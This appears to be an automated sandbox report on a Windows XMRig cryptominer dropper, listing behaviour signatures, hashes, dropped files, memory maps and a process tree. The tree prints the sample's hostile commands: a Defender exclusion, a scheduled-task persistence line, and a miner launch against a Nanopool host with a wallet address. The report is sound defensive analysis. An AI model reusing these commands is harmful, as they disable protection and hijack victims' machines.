Analysis

  • max time kernel
    140s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-11-2022 20:08

General

  • Target

    19a474356662325b2059630216338194.exe

  • Size

    1.1MB

  • MD5

    19a474356662325b2059630216338194

  • SHA1

    5537672751a37401bccf455f651d564bb314a924

  • SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

  • SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • SSDEEP

    24576:8tPBwXgZiujGrs4EroJ7WtRDbQMPLqxpw3qt:CigZMsMN4v9jqxpwa

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\19a474356662325b2059630216338194.exe
    "C:\Users\Admin\AppData\Local\Temp\19a474356662325b2059630216338194.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2264
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD9F9.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4060
      • C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4388
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4444
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3800
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:3504
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:4736

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    1.1MB

    MD5

    19a474356662325b2059630216338194

    SHA1

    5537672751a37401bccf455f651d564bb314a924

    SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

    SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • C:\ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    1.1MB

    MD5

    19a474356662325b2059630216338194

    SHA1

    5537672751a37401bccf455f651d564bb314a924

    SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

    SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    cadef9abd087803c630df65264a6c81c

    SHA1

    babbf3636c347c8727c35f3eef2ee643dbcc4bd2

    SHA256

    cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

    SHA512

    7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

  • C:\Users\Admin\AppData\Local\Temp\tmpD9F9.tmp.bat

    Filesize

    149B

    MD5

    bfacba53b6862fce9f3109ea0c35cb6e

    SHA1

    7b0f4b503b4f118d4785b96ffa9a724780909997

    SHA256

    9d1f92cd52d708e9670d94297a9a19c61a7d5239072ab832fa64c3cd7a8abc46

    SHA512

    e7935b64f3dffab50cffc3987f8275f682a5728be29fb333feb48b8ffb38270c316fa4687ae76eb55e5c2f5a175b6312b14488afad8622acd89fc2543ad89420

  • memory/1840-147-0x0000000000000000-mapping.dmp

  • memory/2264-155-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

    Filesize

    10.8MB

  • memory/2264-146-0x0000000000000000-mapping.dmp

  • memory/2264-152-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

    Filesize

    10.8MB

  • memory/2264-150-0x00000164F60B0000-0x00000164F60D2000-memory.dmp

    Filesize

    136KB

  • memory/3504-177-0x0000000000000000-mapping.dmp

  • memory/3800-174-0x0000000000000000-mapping.dmp

  • memory/4060-154-0x0000000000000000-mapping.dmp

  • memory/4388-182-0x00007FFD50D10000-0x00007FFD50D7B000-memory.dmp

    Filesize

    428KB

  • memory/4388-161-0x0000000002C40000-0x0000000002C83000-memory.dmp

    Filesize

    268KB

  • memory/4388-196-0x00007FFD33B60000-0x00007FFD34621000-memory.dmp

    Filesize

    10.8MB

  • memory/4388-195-0x0000000000540000-0x00000000007F2000-memory.dmp

    Filesize

    2.7MB

  • memory/4388-186-0x00007FFD33B60000-0x00007FFD34621000-memory.dmp

    Filesize

    10.8MB

  • memory/4388-185-0x0000000002C40000-0x0000000002C83000-memory.dmp

    Filesize

    268KB

  • memory/4388-184-0x0000000000540000-0x00000000007F2000-memory.dmp

    Filesize

    2.7MB

  • memory/4388-183-0x00007FFD4EC20000-0x00007FFD4EC5B000-memory.dmp

    Filesize

    236KB

  • memory/4388-181-0x00007FFD2E7A0000-0x00007FFD2E8A2000-memory.dmp

    Filesize

    1.0MB

  • memory/4388-180-0x00007FFD30EC0000-0x00007FFD30EF5000-memory.dmp

    Filesize

    212KB

  • memory/4388-156-0x0000000000000000-mapping.dmp

  • memory/4388-179-0x00007FFD4FC20000-0x00007FFD4FC47000-memory.dmp

    Filesize

    156KB

  • memory/4388-171-0x00007FFD33B60000-0x00007FFD34621000-memory.dmp

    Filesize

    10.8MB

  • memory/4388-170-0x00007FFD32130000-0x00007FFD3227E000-memory.dmp

    Filesize

    1.3MB

  • memory/4388-160-0x0000000000540000-0x00000000007F2000-memory.dmp

    Filesize

    2.7MB

  • memory/4388-163-0x00007FFD50550000-0x00007FFD505EE000-memory.dmp

    Filesize

    632KB

  • memory/4388-162-0x00007FFD34630000-0x00007FFD346DA000-memory.dmp

    Filesize

    680KB

  • memory/4388-164-0x00007FFD4D770000-0x00007FFD4D782000-memory.dmp

    Filesize

    72KB

  • memory/4388-165-0x00007FFD33AA0000-0x00007FFD33B5D000-memory.dmp

    Filesize

    756KB

  • memory/4388-166-0x00007FFD51DA0000-0x00007FFD51F41000-memory.dmp

    Filesize

    1.6MB

  • memory/4388-167-0x00007FFD33B60000-0x00007FFD34621000-memory.dmp

    Filesize

    10.8MB

  • memory/4388-168-0x00007FFD51BD0000-0x00007FFD51BFB000-memory.dmp

    Filesize

    172KB

  • memory/4388-169-0x0000000000540000-0x00000000007F2000-memory.dmp

    Filesize

    2.7MB

  • memory/4444-176-0x00007FFD33B60000-0x00007FFD34621000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-178-0x00007FFD33B60000-0x00007FFD34621000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-172-0x0000000000000000-mapping.dmp

  • memory/4736-187-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/4736-188-0x0000000140343234-mapping.dmp

  • memory/4736-200-0x00000210188E0000-0x0000021018900000-memory.dmp

    Filesize

    128KB

  • memory/4736-199-0x00000210188C0000-0x00000210188E0000-memory.dmp

    Filesize

    128KB

  • memory/4736-198-0x00000210188E0000-0x0000021018900000-memory.dmp

    Filesize

    128KB

  • memory/4736-197-0x00000210188C0000-0x00000210188E0000-memory.dmp

    Filesize

    128KB

  • memory/4736-194-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/4736-193-0x0000021018880000-0x00000210188C0000-memory.dmp

    Filesize

    256KB

  • memory/4736-192-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/4736-191-0x0000021018720000-0x0000021018740000-memory.dmp

    Filesize

    128KB

  • memory/4736-190-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/4736-189-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/4972-140-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4972-141-0x00007FFD51BD0000-0x00007FFD51BFB000-memory.dmp

    Filesize

    172KB

  • memory/4972-145-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4972-151-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4972-144-0x00007FFD32400000-0x00007FFD3254E000-memory.dmp

    Filesize

    1.3MB

  • memory/4972-142-0x0000000000890000-0x0000000000B42000-memory.dmp

    Filesize

    2.7MB

  • memory/4972-133-0x00007FFD348E0000-0x00007FFD3498A000-memory.dmp

    Filesize

    680KB

  • memory/4972-143-0x0000000000890000-0x0000000000B42000-memory.dmp

    Filesize

    2.7MB

  • memory/4972-136-0x00007FFD34820000-0x00007FFD348DD000-memory.dmp

    Filesize

    756KB

  • memory/4972-138-0x00007FFD51DA0000-0x00007FFD51F41000-memory.dmp

    Filesize

    1.6MB

  • memory/4972-149-0x0000000001490000-0x00000000014D3000-memory.dmp

    Filesize

    268KB

  • memory/4972-148-0x0000000000890000-0x0000000000B42000-memory.dmp

    Filesize

    2.7MB

  • memory/4972-139-0x0000000001490000-0x00000000014D3000-memory.dmp

    Filesize

    268KB

  • memory/4972-134-0x00007FFD50550000-0x00007FFD505EE000-memory.dmp

    Filesize

    632KB

  • memory/4972-137-0x0000000000890000-0x0000000000B42000-memory.dmp

    Filesize

    2.7MB

  • memory/4972-135-0x00007FFD4D770000-0x00007FFD4D782000-memory.dmp

    Filesize

    72KB